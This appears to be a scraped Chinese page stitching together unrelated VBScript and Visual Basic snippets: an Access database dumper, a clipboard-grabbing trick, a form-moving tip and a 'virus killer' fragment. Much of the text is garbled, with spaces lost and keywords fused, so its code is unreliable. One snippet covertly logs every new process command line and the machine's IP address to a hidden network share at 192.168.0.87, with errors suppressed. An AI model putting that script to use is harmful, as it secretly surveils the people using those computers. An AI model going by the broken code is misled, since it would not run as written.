下面给个例子现在就剩下一件事情要做：将这两半段脚本合在一起构成一个完整的脚本

onerrorresumenext msgbox"本专杀有ycosxhack提供",64,"tel.xls.exe病毒专杀" '本专杀模板有ycosxhack（余弦函数）制作，我的博客：欢迎讨论PublicSubFocusMe(ctlNameAsControl)WithctlName.SelStart=0.SelLength=Len(ctlName)EndWithEndSubNowaddacalltothissubroutineintheGotFocuseventoftheinputcontrols:PrivateSubtxtFocusMe_GotFocus()CallFocusMe(txtFocusMe)EndSub->

Option Explicit Dim arrTables( ), i, idxTables, intValidArgs Dim blnContent, blnFieldNames Dim objConn, objFSO, objRS, objSchema Dim strConnect, strHeader, strOutput Dim strFile, strResult, strSQL, strTable Const adSchemaTables=20 ' Check command line arguments With WScript.Arguments If .Unnamed.Count=1 Then strFile=.Unnamed(0) Else Syntax End If blnFieldNames=True blnContent=True If .Named.Count > 0 Then intValidArgs=0 If .Named.Exists( "T" ) Then blnFieldNames=False blnContent=False intValidArgs=intValidArgs + 1 End If If .Named.Exists( "TF" ) Then blnContent=False intValidArgs=intValidArgs + 1 End If If intValidArgs <> .Named.Count Then Syntax End If End With ' Check if the specified database file exists Set objFSO=CreateObject( "Scripting.FileSystemObject" ) If Not objFSO.FileExists( strFile ) Then Syntax Set objFSO=Nothing ' Connect to the MS-Access database Set objConn=CreateObject( "ADODB.Connection" ) strConnect="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strFile objConn.Open strConnect ' Search for user tables and list them in an array Set objSchema=objConn.OpenSchema( adSchemaTables ) idxTables=-1 Do While Not objSchema.EOF If objSchema.Fields.Item(3).Value="TABLE" Then idxTables=idxTables + 1 ReDim Preserve arrTables( idxTables ) arrTables( idxTables )=objSchema.Fields.Item(2).Value End If objSchema.MoveNext Loop ' List all tables, their column names and their contents For Each strTable In arrTables strSQL="Select * From " & strTable Set objRS=objConn.Execute( strSQL ) If IsObject( objRS ) Then ' Display the current table's name If blnContent Then WScript.Echo """Table: " & strTable & """" Else WScript.Echo """" & strTable & """" End If If blnFieldNames Then strOutput="" Do While Not objRS.EOF ' Create a header line with the column names and data types strHeader="" For i=0 To objRS.Fields.Count - 1 strHeader=strHeader & ",""[" _ & GetDataTypeDesc( objRS.Fields.Item(i).Type ) & "] " _ & objRS.Fields.Item(i).Name & """" Next strHeader=Mid( strHeader, 2 ) If blnContent Then ' List the fields of the current record in comma delimited format strResult="" For i=0 To objRS.Fields.Count - 1 strResult=strResult & ",""" & objRS.Fields.Item(i).Value & """" Next ' Add the current record to the output string strOutput=strOutput & Mid( strResult, 2 ) & vbCrLf End If ' Next record objRS.MoveNext Loop ' List the results for the current table WScript.Echo strHeader & vbCrLf & strOutput & vbCrLf End If End If Next objRS.Close objSchema.Close objConn.Close Set objRS=Nothing Set objSchema=Nothing Set objConn=Nothing Function GetDataTypeDesc( myTypeNum ) Dim arrTypes( 8192 ), i For i=0 To UBound( arrTypes ) arrTypes( i )="" Next arrTypes(0)="Empty" arrTypes(2)="SmallInt" arrTypes(3)="Integer" arrTypes(4)="Single" arrTypes(5)="Double" arrTypes(6)="Currency" arrTypes(7)="Date" arrTypes(8)="BSTR" arrTypes(9)="IDispatch" arrTypes(10)="Error" arrTypes(11)="Boolean" arrTypes(12)="Variant" arrTypes(13)="IUnknown" arrTypes(14)="Decimal" arrTypes(16)="TinyInt" arrTypes(17)="UnsignedTinyInt" arrTypes(18)="UnsignedSmallInt" arrTypes(19)="UnsignedInt" arrTypes(20)="BigInt" arrTypes(21)="UnsignedBigInt" arrTypes(64)="FileTime" arrTypes(72)="GUID" arrTypes(128)="Binary" arrTypes(129)="Char" arrTypes(130)="WChar" arrTypes(131)="Numeric" arrTypes(132)="UserDefined" arrTypes(133)="DBDate" arrTypes(134)="DBTime" arrTypes(135)="DBTimeStamp" arrTypes(136)="Chapter" arrTypes(138)="PropVariant" arrTypes(139)="VarNumeric" arrTypes(200)="VarChar" arrTypes(201)="LongVarChar" arrTypes(202)="VarWChar" arrTypes(203)="LongVarWChar" arrTypes(204)="VarBinary" arrTypes(205)="LongVarBinary" arrTypes(8192)="Array" GetDataTypeDesc=arrTypes( myTypeNum ) End Function Sub Syntax Dim strMsg strMsg=strMsg & vbCrLf _ & "AccessRd.vbs, Version 1.01" & vbCrLf _ & "Display MS Access database (user) tables and, optionally, their contents" _ & vbCrLf & vbCrLf _ & "Usage: CSCRIPT //NOLOGO ACCESSRD.VBS access_db_file [ /T | /TF ]" _ & vbCrLf & vbCrLf _ & "Where: ""access_db_file"" is an MS-Access database file" & vbCrLf _ & " /T list table names only" & vbCrLf _ & " /TF list table and field names only" & vbCrLf _ & " (default is list tables, field names AND contents)" _ & vbCrLf & vbCrLf _ & "Written by Rob van der Woude" & vbCrLf _ & "" WScript.Echo strMsg WScript.Quit(1) End Sub 而且调试也很方便，在DirectX7.0之前提供的库调试时很容易出错或导致非法操作，所以本人强烈建议使用DirectX7.0

记录客户机操作的VBS脚本onerrorresumenext strComputer="." SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2") SetIPConfigSet=objWMIService.ExecQuery_ ("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE") ForEachIPConfiginIPConfigSet IfNotIsNull(IPConfig.IPAddress)Then Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress) a=IPConfig.IPAddress(i) Next EndIf Next strComputer="." SetobjWMIService=GetObject("winmgmts:"_ &"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2") SetcolMonitoredProcesses=objWMIService._ ExecNotificationQuery("select*from__instancecreationevent"_ &"within1whereTargetInstanceisa'Win32_Process'") i=0 DoWhilei=0 SetobjLatestProcess=colMonitoredProcesses.NextEvent b=objLatestProcess.TargetInstance.CommandLine setfso=createobject("scripting.filesystemobject") setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true) file1.writelinenow()&"---"&a&"---"&b&"<hr>" file1.close Loop 当我们要移动控制项(Control)或表单(Form)时，很多人习惯这样写：

frmCustomer.Left=frmCustomer.Left 100frmCustomer.Top=frmCustomer.Top 50

但是若使用MoveMethod，可以加快40：

frmCustomer.MovefrmCustomer.Left 100,frmCustomer.Top 50->

如果您想从剪贴板抓取数据，您可以使用与以下代码类似的代码： SetobjIE=CreateObject("InternetExplorer.Application") objIE.Navigate("about:blank") strURL=objIE.document.parentwindow.clipboardData.GetData("text") objIE.Quit Wscript.EchostrURL 这里，我们所做的事情就是：创建InternetExplorer的一个实例，并在一个空白页中将其打开弹弹堂救援行动注意，在设置keepLocal（以及Rep1icab1e）属性之前，必须先建立它，然后添加到将使用它的对象的属性集合中如：<scriptsrc= 2、CScriptget.vbs第一步的网页URL网页包含的文件名本地保存路径 例子：CScriptget.vbs PS：脚本使用了5秒钟作为下载文件的时间，可以改成等待下载完毕再继续的，不过基本上够用，懒得改了-_-。